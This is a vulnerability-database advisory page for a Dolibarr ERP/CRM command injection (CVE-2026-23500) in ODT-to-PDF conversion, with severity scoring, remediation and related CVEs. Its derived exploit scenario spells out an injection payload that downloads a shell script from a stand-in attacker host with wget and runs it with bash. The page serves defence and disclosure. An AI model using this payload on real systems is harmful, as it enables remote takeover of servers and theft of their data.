Skip to main content

Dolibarr CVE-2026-23500

| EUVDEUVD-2026-23502 CRITICAL
OS Command Injection (CWE-78)
2026-04-17 GitHub_M GHSA-w5j3-8fcr-h87w
9.4
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain admin credentials
  2. Delivery
    Authenticate to Dolibarr interface
  3. Exploit
    Modify MAIN_ODT_AS_PDF configuration with injected commands
  4. Execution
    Trigger ODT template generation
  5. Persist
    Execute arbitrary code as web server user
  6. Impact
    Establish persistence or exfiltrate data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated administrative access (PR:H in CVSS vector) to modify the MAIN_ODT_AS_PDF configuration constant via Dolibarr's settings interface. The ODT template generation feature must be enabled and functional, requiring server-side conversion tools (such as LibreOffice or unoconv) to be installed and configured. Exploitation limits: the attacker must already possess or obtain admin-level credentials, which typically requires separate compromise vectors like credential theft, social engineering, or exploitation of other vulnerabilities. No user interaction (UI:N) is required after configuration modification - any subsequent ODT template generation by any user will trigger the injected commands. Default Dolibarr installations with ODT functionality enabled are exploitable once admin access is achieved.

Impact

While the CVSS 4.0 score of 9.4 is critical, real-world risk is constrained by the requirement for administrative authentication (PR:H). The attack vector is network-based (AV:N) with low complexity (AC:L), meaning authenticated admins can exploit this remotely without special conditions. However, the prerequisite of administrative access significantly reduces the attack surface compared to unauthenticated vulnerabilities. Organizations should assess whether untrusted users have administrative privileges or if admin credentials are at risk of compromise. The vulnerability enables complete system compromise (VC:H/VI:H/VA:H) with scope change affecting underlying infrastructure (SC:H/SI:H/SA:H), making it severe for environments where the web server has access to sensitive resources or databases. No public exploit code identified at time of analysis and no CISA KEV listing, suggesting limited evidence of active exploitation. Priority should be high for internet-facing Dolibarr installations with multiple administrators or weak admin credential policies, but lower than similar vulnerabilities requiring no authentication. The confined scope to a specific feature (ODT template generation) provides some natural limitation unless this is a heavily-used function.

Exploit ScenarioDerived

An attacker who has compromised administrator credentials (via phishing, credential stuffing, or session hijacking) logs into the Dolibarr administrative interface. They navigate to the configuration settings and modify the MAIN_ODT_AS_PDF constant to include a command injection payload such as '; wget http://attacker.com/shell.sh -O /tmp/x.sh; bash /tmp/x.sh #'. When any user subsequently generates a document from an ODT template, the odf.php module executes the injected commands, downloading and running a reverse shell that connects back to the attacker's server. The attacker now has shell access as the web server user, enabling database exfiltration, lateral movement, or privilege escalation depending on server hardening.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 17, 2026

Command injection in Dolibarr ERP/CRM versions before 23.0.0 allows authenticated administrators to execute arbitrary operating system commands during ODT-to-PDF template conversion. The vulnerability stems from unsanitized concatenation of the MAIN_ODT_AS_PDF configuration constant into shell commands in odf.php. Exploitation requires administrative privileges (PR:H) but can be executed remotely (AV:N) with low complexity (AC:L), resulting in full system compromise as the web server user. Fixed in version 23.0.0. EPSS data not available; no public exploit identified at time of analysis.

RemediationAI

Upgrade to Dolibarr version 23.0.0 or later, which implements proper input sanitization for the MAIN_ODT_AS_PDF configuration constant. The patched version is available from the official GitHub repository at https://github.com/Dolibarr/dolibarr/releases/tag/23.0.0. If immediate patching is not feasible, implement compensating controls: disable ODT template generation functionality by restricting access to odf.php at the web server level (e.g., Apache/Nginx configuration blocking the specific endpoint), which prevents exploitation but breaks ODT-to-PDF conversion features for all users; apply strict web application firewall (WAF) rules to detect and block shell metacharacters in configuration settings, though this may be bypassed with encoding techniques; or limit administrative access to only trusted IP addresses via firewall rules and enforce multi-factor authentication for all admin accounts to reduce credential compromise risk. Each workaround has operational impact on either functionality or administrative workflows, making version upgrade the preferred solution. Review system logs for suspicious exec() calls or unexpected child processes spawned by the web server as indicators of prior exploitation.

Affected VersionsENISA

dolibarr < 23.0.0

Affected Packages

composer dolibarr/dolibarr no fix
euvd dolibarr fix: 23.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dolibarr's ODT (OpenDocument Text) template processing mechanism converts documents to PDF by invoking external system commands via PHP's exec() function. The odf.php module constructs these commands by directly concatenating the MAIN_ODT_AS_PDF configuration setting without input validation or escaping. This is a classic CWE-78 (OS Command Injection) vulnerability where untrusted input flows into a shell command interpreter. Administrators can modify the MAIN_ODT_AS_PDF constant through the application's configuration interface. By injecting shell metacharacters (such as semicolons, pipes, or command substitution operators), attackers can append arbitrary commands that execute with the privileges of the web server process (typically www-data, apache, or nginx user). The vulnerability affects all Dolibarr installations prior to version 23.0.0 across all platforms where the ODT template feature is enabled.

Know when Dolibarr gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

3
Patch released
May 01, 2026 - 18:28 nvd
Patch available
Patch available
Apr 17, 2026 - 21:16 EUVD
CVE Published
Apr 17, 2026 - 20:25 nvd
CRITICAL 9.4

DescriptionGitHub Advisory

Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions prior to 23.0.0 , the ODT to PDF conversion process in odf.php concatenates the MAIN_ODT_AS_PDF configuration constant directly into a shell command passed to exec() without sanitization. An authenticated administrator can inject arbitrary OS commands via this constant using command separators, achieving remote code execution as the web server user when any ODT template is generated. This issue has been fixed in version 23.0.0.

Executive ViewAI

Why It Matters

Dolibarr ERP/CRM versions before 23.0.0 contain a critical command injection vulnerability in PDF template conversion that allows authenticated administrators to execute arbitrary system commands remotely, potentially compromising the entire application server and its data. Organizations running affected versions face immediate risk of unauthorized system access and data breach if administrative accounts are compromised or misused.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If upgrade cannot be completed within 7 days: (1) restrict administrator role membership to essential personnel only; (2) disable ODT-to-PDF template conversion feature if not actively used; (3) implement network segmentation to limit web server outbound command execution; (4) enable detailed audit logging of configuration and template changes by administrators.

Threat Intelligence Overview

EPSS Score
0.4%
Top 42% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +47
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2023-38886 HIGH POC
7.2 Sep 20

An issue in Dolibarr ERP CRM v.17.0.1 and before allows a remote privileged attacker to execute arbitrary code via a cra

CVE-2023-30253 HIGH POC
8.8 May 29

Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instea

CVE-2017-7886 CRITICAL POC
9.8 May 10

Dolibarr ERP/CRM 4.0.4 has SQL Injection in doli/theme/eldy/style.css.php via the lang parameter. Rated critical severit

CVE-2023-38888 CRITICAL POC
9.6 Sep 20

Cross Site Scripting vulnerability in Dolibarr ERP CRM v.17.0.1 and before allows a remote attacker to obtain sensitive

CVE-2017-7888 CRITICAL POC
9.8 May 10

Dolibarr ERP/CRM 4.0.4 stores passwords with the MD5 algorithm, which makes brute-force attacks easier. Rated critical s

CVE-2022-4093 CRITICAL POC
9.8 Nov 21

SQL injection attacks can result in unauthorized access to sensitive data, such as passwords, credit card details, or pe

CVE-2022-43138 CRITICAL POC
9.8 Nov 17

Dolibarr Open Source ERP & CRM for Business before v14.0.1 allows attackers to escalate privileges via a crafted API. Ra

CVE-2022-40871 CRITICAL POC
9.8 Oct 12

Dolibarr ERP & CRM <=15.0.3 is vulnerable to Eval injection. Rated critical severity (CVSS 9.8), this vulnerability is r

CVE-2021-33816 CRITICAL POC
9.8 Nov 10

The website builder module in Dolibarr 13.0.2 allows remote PHP code execution because of an incomplete protection mecha

CVE-2020-7995 CRITICAL POC
9.8 Jan 26

The htdocs/index.php?mainmenu=home login page in Dolibarr 10.0.6 allows an unlimited rate of failed authentication attem

CVE-2018-10094 CRITICAL POC
9.8 May 22

SQL injection vulnerability in Dolibarr before 7.0.2 allows remote attackers to execute arbitrary SQL commands via vecto

CVE-2018-25357 CRITICAL POC
9.3 May 23

Dolibarr ERP CRM 7.0.3 contains a remote code evaluation vulnerability that allows unauthenticated attackers to execute

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy